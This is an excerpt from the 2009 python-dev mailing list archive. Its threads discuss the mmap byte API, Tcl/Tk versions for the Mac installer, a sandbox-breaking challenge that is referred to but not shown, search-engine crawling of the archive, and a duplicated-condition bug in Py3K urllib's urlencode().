Message-ID: <49A956F0.9050700@m2.ccsnet.ne.jp>


Victor Stinner wrote:
> About m.read_byte(), we have two choices:
>  (a) Py_BuildValue("b", value) => 0
>  (b) Py_BuildValue("y#", &value, 1) => b"\x00"
> 
> About m.write_byte(x), we have also two choices:
>  (a) PyArg_ParseTuple(args, "b:write_byte", &value): write_byte(0)
>  (b) PyArg_ParseTuple(args, "y#:write_byte", &value, &length) and
>      check for length=1: write_byte(b"\x00")
> 
> (b) choices are close to Python 2.x API. But we can already use 
> m.read(1)->b"\x00" and m.write(b"\x00") to use byte string of 1 byte. So it 
> would be better to break the API and use integers, (a) choices which require 
> also documentation changes:

I'm +1 for (a) because mmap.__getitem__ already returns integer not 
1-length bytes. And as I wrote in http://bugs.python.org/msg82912, it 
seems that more bytes cleanup is needed in mmap 
documentaion/implementation. I hope someone else will look into other 
modules' ones. ;-)

From ronaldoussoren at mac.com  Sat Feb 28 16:44:19 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sat, 28 Feb 2009 16:44:19 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-BE5DEE.16573426022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<rowen-8731E0.13531325022009@news.gmane.org>
	<nad-BE5DEE.16573426022009@news.gmane.org>
Message-ID: <AD5BF985-3C9B-4D49-BFE6-0CFF1B57A00A@mac.com>


On 27 Feb, 2009, at 1:57, Ned Deily wrote:

> In article <rowen-8731E0.13531325022009 at news.gmane.org>,
> "Russell E. Owen" <rowen at u.washington.edu> wrote:
>> I want to follow up on this a bit. In the past if the Mac Python
>> installer was built on a machine that did NOT have a locally  
>> installed
>> Tcl/Tk then it would fail to work with a locally installed Tcl/Tk:
>> Python would segfault when trying to use Tkinter.
>>
>> The solution was to build the Mac python installer on a machine  
>> with a
>> locally installed Tcl/Tk. The resulting installer package would  
>> work on
>> all systems -- with or without locally installed Tcl/Tk.
>>
>> So...has this problem been worked around, or is the Mac installer  
>> still
>> built on a machine that has a locally installed Tcl/Tk?
>
> Ronald will have to answer that for sure since he built the installer
> for 3.0.1.
>
> However, it seems to be true that the most recent python.org OS X
> installers will always favor a /System/Library/Frameworks/{Tcl/Tk}:

That's correct, I don't have a locally installed Tcl/Tk on my laptop  
at the moment and couldn't arrange for one in time for the 3.0.1  
release.

BTW. The fact that this should result in crashes when a user does have  
a locally installed Tcl/Tk is new to me. The reason earlier builds of  
the OSX installer were build with a locally installed Tcl/Tk is that  
several Tkinter users indicated that the system version is  
significantly less useful than a local install.

>
>> Most people who makes serious use of Tkinter presumably have a  
>> locally
>> installed Tcl/Tk because the version that Apple provides is ancient  
>> and
>> is missing many important bug fixes and performance enhancements.
>>
>> Also, a somewhat related issue: Tcl/Tk 8.4 is no longer maintained.  
>> All
>> development work is going on in Tcl/Tk 8.5. Presumably Apple will
>> transition one of these days, and at that point we may need a  
>> separate
>> Mac Python installer for the older operating systems vs. the newer.
>
> Yes, something will need to be done for that if Snow Leopard does have
> newer versions.
>
> Thanks for bringing this up!

Do Python 2.6 and 3.0 support building with Tcl/Tk 8.5? I vaguely  
recall messages about issues on python-dev but don't know if those  
issues were real and/or solved.

Ronald
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090228/87b082ea/attachment.bin>

From pedronis at openend.se  Sat Feb 28 16:53:09 2009
From: pedronis at openend.se (Samuele Pedroni)
Date: Sat, 28 Feb 2009 16:53:09 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <ca471dc20902231526l2a8501b0ud063ebf6f4546cbd@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>	<gnv9mf$lc4$1@ger.gmane.org>
	<49A32E33.5090607@v.loewis.de>
	<ca471dc20902231526l2a8501b0ud063ebf6f4546cbd@mail.gmail.com>
Message-ID: <49A95DE5.5070507@openend.se>

Guido van Rossum wrote:
> On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>   
>>> Don't I remember the previous restricted module dying a similar "death
>>> of 1,000 cuts" before it was concluded to be unsafe at any height and
>>> abandoned?
>>>       
>> I think you are slightly misremembering. It got cut again and again,
>> but never died. Then, new-style classes hit an artery, and it bled
>> to death.
>>
>> I'm curious how this one fares.
>>     
>
> FWIW, I am remembering more about how Samuele cracked it. It had to do
> with getting the supervisor code to call one of its own functions with
> arguments provided by the sandboxed code. Tav's safelite.py doesn't
> seem to be directly exploitable that way because (using ctypes hacks)
> it *removes* some offending special methods. But that door would be at
> least slightly ajar with Tar's proposed patch to Python, as that
> doesn't remove the offending attributes (__subclasses__ etc.); it only
> forbids them in restricted mode. But this once again enables Samuele's
> hack. (Oh if I only could find the link with the actual attack -- it
> was quite a bit more devious than attacks linked to so far.)
>
>   
http://mail.python.org/pipermail/python-dev/2003-March/033978.html

From amk at amk.ca  Sat Feb 28 18:36:20 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Sat, 28 Feb 2009 12:36:20 -0500
Subject: [Python-Dev] Googlebot and the mail.python.org python-dev
	archive
In-Reply-To: <49A925A6.3050106@gmail.com>
References: <49A87F5F.9000901@gmail.com>
	<ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>
	<gob3f6$j23$1@ger.gmane.org>
	<loom.20090228T103444-799@post.gmane.org>
	<49A925A6.3050106@gmail.com>
Message-ID: <20090228173620.GA12698@amk.local>

On Sat, Feb 28, 2009 at 09:53:10PM +1000, Nick Coghlan wrote:
> Is pydotorg-www still the place for website questions?* If so, I should
> probably take this over there...

Just 'pydotorg' is the current list
(http://mail.python.org/mailman/listinfo/pydotorg).

Looking at the access logs, mail.python.org is 
being actively crawled:

66.249.71.119 - - [28/Feb/2009:18:32:51 +0100] "GET /pipermail/python-list/2004-June/265194.html HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
72.30.79.38 - - [28/Feb/2009:18:32:51 +0100] "GET /pipermail/csv/2003-February/000368.html HTTP/1.0" 200 3929 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)"
65.55.211.30 - - [28/Feb/2009:18:32:51 +0100] "GET /pipermail/python-list/2006-May/382528.html HTTP/1.1" 200 4028 "-" "msnbot/1.1 (+http://search.msn.com/msnbot.htm)"

Is it maybe that the site is just too large, so the search engines
index only 10,000 messages from it?  One possible solution might be to
block crawling of the python-list archive; it's enormous, and already
available through Google's Usenet search.

--amk

From dan.mahn at digidescorp.com  Sat Feb 28 21:28:43 2009
From: dan.mahn at digidescorp.com (Dan Mahn)
Date: Sat, 28 Feb 2009 14:28:43 -0600
Subject: [Python-Dev] More on Py3K urllib -- urlencode()
Message-ID: <49A99E7B.7030602@digidescorp.com>

Hi.  I've been using Py3K successfully for a while now, and have some 
questions about urlencode().

1) The docs mention that items sent to urlencode() are quoted using 
quote_plus().  However, instances of type "bytes" are not handled like 
they are with quote_plus() because urlencode() converts the parameters 
to strings first (which then puts a small "b" and single quotes around a 
textual representation of the bytes).  It just seems to me that 
instances of type "bytes" should be passed directly to quote_plus().  
That would complicate the code just a bit, but would end up being much 
more intuitive and useful.

2) If urlencode() relies so heavily on quote_plus(), then why doesn't it 
include the extra encoding-related parameters that quote_plus() takes?

3) Regarding the following code fragment in urlencode():

            k = quote_plus(str(k))
           if isinstance(v, str):
                v = quote_plus(v)
                l.append(k + '=' + v)
            elif isinstance(v, str):
                # is there a reasonable way to convert to ASCII?
                # encode generates a string, but "replace" or "ignore"
                # lose information and "strict" can raise UnicodeError
                v = quote_plus(v.encode("ASCII","replace"))
                l.append(k + '=' + v)

I don't understand how the "elif" section is invoked, as it uses the 
same condition as the "if" section.

Thanks in advance for any thoughts on this issue.  I could submit a 
patch for urlencode() to better explain my ideas if that would be useful.

- Dan



From martin at v.loewis.de  Sat Feb 28 21:53:33 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 28 Feb 2009 21:53:33 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <AD5BF985-3C9B-4D49-BFE6-0CFF1B57A00A@mac.com>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>	<nad-34F90E.03222214022009@news.gmane.org>	<rowen-8731E0.13531325022009@news.gmane.org>	<nad-BE5DEE.16573426022009@news.gmane.org>
	<AD5BF985-3C9B-4D49-BFE6-0CFF1B57A00A@mac.com>
Message-ID: <49A9A44D.4060506@v.loewis.de>

> Do Python 2.6 and 3.0 support building with Tcl/Tk 8.5? 

Yes, that works fine. The Windows binaries ship with 8.5,
and there weren't any complaints (in this respect).

Regards,
Martin

From janssen at parc.com  Sat Feb 28 23:08:33 2009
From: janssen at parc.com (Bill Janssen)
Date: Sat, 28 Feb 2009 14:08:33 PST
Subject: [Python-Dev] More on Py3K urllib -- urlencode()
In-Reply-To: <49A99E7B.7030602@digidescorp.com>
References: <49A99E7B.7030602@digidescorp.com>
Message-ID: <34291.1235858913@parc.com>

Dan Mahn <dan.mahn at digidescorp.com> wrote:

> 3) Regarding the following code fragment in urlencode():
> 
>            k = quote_plus(str(k))
>           if isinstance(v, str):
>                v = quote_plus(v)
>                l.append(k + '=' + v)
>            elif isinstance(v, str):
>                # is there a reasonable way to convert to ASCII?
>                # encode generates a string, but "replace" or "ignore"
>                # lose information and "strict" can raise UnicodeError
>                v = quote_plus(v.encode("ASCII","replace"))
>                l.append(k + '=' + v)
> 
> I don't understand how the "elif" section is invoked, as it uses the
> same condition as the "if" section.

This looks like a 2->3 bug; clearly only the second branch should be
used in Py3K.  And that "replace" is also a bug; it should signal an
error on encoding failures.  It should probably catch UnicodeError and
explain the problem, which is that only Latin-1 values can be passed in
the query string.  So the encode() to "ASCII" is also a mistake; it
should be "ISO-8859-1", and the "replace" should be a "strict", I think.

Bill